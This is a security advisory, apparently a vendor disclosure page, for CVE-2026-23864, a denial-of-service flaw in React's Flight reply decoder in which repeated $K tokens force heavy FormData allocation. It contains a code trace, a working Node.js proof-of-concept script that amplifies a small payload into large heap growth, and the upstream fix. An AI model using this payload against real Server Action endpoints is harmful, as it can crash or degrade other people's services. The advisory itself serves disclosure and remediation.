RSC reply decoder DoS via $K FormData amplification (CVE-2026-23864)
Unbounded $K expansions allow FormData amplification during RSC reply decoding
Severity rating
HighNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Source
parseModelString ($K case)
packages/react-server/src/ReactFlightReplyServer.js:1354
Sink
FormData reconstruction loop
packages/react-server/src/ReactFlightReplyServer.js:1364
The server-side React Flight reply decoder treats $K<id> tokens as nested FormData and reconstructs them by scanning the backing request form and copying entries into a new FormData. Because the decoder performs a full scan and allocation for every $K occurrence with no global limits, an attacker can embed thousands of $K tokens in a small multipart payload and force the server to allocate tens of MB of heap while decoding. This creates a high-amplification DoS that is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy.
Write-up
decodeReply and decodeReplyFromBusboy materialize a response with _formData as the backing store, then parse chunk 0 through initializeModelChunk and reviveModel. Every string value flows into parseModelString, where $K<id> is interpreted as a nested FormData.
The $K handler builds a new FormData and performs a full scan of _formData to copy all matching prefixed entries. There is no validation of the id, no memoization, and no global limits on $K occurrences or copied entries.
As a result, a small multipart payload can include a large array of $K tokens and force repeated scans and allocations (CPU O(M * E), memory O(M * N)), amplifying a sub-megabyte request into tens or hundreds of MB of heap usage. This is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy, making it a practical high-amplification DoS.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- None
- IntegrityI
- None
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledpackages/
react-server/ src/ ReactFlightReplyServer.js:1354 parseModelString ($K case)
- Step 01packages/
react-server/ src/ ReactFlightReplyServer.js:1348-1369 parseModelStringsees$K<id>and constructs a newFormData, then scans the entire backing request form for keys with the matching prefix.javascript const formPrefix = response._prefix + obj + '_'; const data = new FormData(); backingFormData.forEach((entry, entryKey) => { if (entryKey.startsWith(formPrefix)) { data.append(entryKey.slice(formPrefix.length), entry); } }); - Step 02packages/
react-server/ src/ ReactFlightReplyServer.js:1354-1370 Each
$Ktoken triggers a full scan and a new FormData allocation, with no cap on occurrences or copied entries.javascript return data; // New FormData per $K token - Step 03packages/
react-server-dom-webpack/ src/ server/ ReactFlightDOMServerNode.js:554-579 decodeReplyFromBusboypopulates the response by resolving multipart fields, making the$Kpath reachable from HTTP Server Action requests.javascript busboyStream.on('field', (name, value) => { if (pendingFiles > 0) { queuedFields.push(name, value); } else { resolveField(response, name, value); } }); - Step 04packages/
react-server/ src/ ReactFlightReplyServer.js:1485-1502 resolveFieldappends every incoming field into_formData, enabling an attacker to control the number and size of entries that are copied per$Ktoken.javascript response._formData.append(key, value); - Sinkpackages/
react-server/ src/ ReactFlightReplyServer.js:1364 FormData reconstruction loop
Impact
Reported impact
A small (<1 MB) request can force tens to hundreds of MB of allocations while decoding, resulting in memory exhaustion or severe CPU pressure. Repeated requests can crash the server or degrade service availability.
Attack surface
Any server that decodes untrusted React Flight reply payloads, including frameworks that use Server Actions / Server Functions with multipart bodies (e.g., Next.js).
Preconditions
Attacker can send a crafted multipart request to a Server Action endpoint. No authentication is required if the endpoint is publicly reachable.
Attack path
- 1
Send a multipart body whose root chunk (
0) contains a large array of$K<id>tokens. - 2
Populate the backing form with many
x_*fields so each$Ktriggers a large copy. - 3
Decoder allocates thousands of new
FormDataobjects and copies entries per token. - 4
Server heap usage spikes and the process can OOM or stall under load.
Proof of concept
- 01
Environment setup
Create a local repro:
bash mkdir rsc-k-dos-repro cd rsc-k-dos-repro npm init -y npm install react-server-dom-webpack@19.2.3 - 02
Target configuration
Save the following as
repro.cjs:js const { decodeReply } = require('react-server-dom-webpack/server.node'); const N = 200; // number of x_* fields const M = 5000; // number of $K expansions const form = new FormData(); for (let i = 0; i < N; i++) form.append(`x_${i}`, 'A'); const inner = Array.from({ length: M }, () => '"$Kx"').join(','); form.append('0', `[${inner}]`); const heap0 = process.memoryUsage().heapUsed; const start = Date.now(); (async () => { const root = await decodeReply(form, {}, {}); const ms = Date.now() - start; const heap1 = process.memoryUsage().heapUsed; console.log('decoded in', ms, 'ms'); console.log('heap delta MB', ((heap1 - heap0) / (1024*1024)).toFixed(1)); console.log('root len', root.length); })(); - 03
Exploit delivery
Run the PoC:
bash node --conditions=react-server repro.cjs - 04
Expected response
text decoded in <time> ms heap delta MB <tens of MB> root len 5000 - 05
Outcome
The decoder allocates thousands of new
FormDataobjects and copies entries on each$K, producing large heap growth from a small input.
Remediation
Guidance
Consume FormData entries on first $K expansion and prevent re-expansion of the same keys. The fix in React 19.2.4 deletes consumed keys and reconstructs values using getAll with a cloned key list to avoid repeated amplification.
backingFormData.forEach((entry, entryKey) => {if (entryKey.startsWith(formPrefix)) {data.append(entryKey.slice(formPrefix.length), entry);}});const keys = Array.from(backingFormData.keys());for (let i = 0; i < keys.length; i++) { const entryKey = keys[i]; if (entryKey.startsWith(formPrefix)) { const entries = backingFormData.getAll(entryKey); const newKey = entryKey.slice(formPrefix.length); for (let j = 0; j < entries.length; j++) { data.append(newKey, entries[j]); } backingFormData.delete(entryKey); }}
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
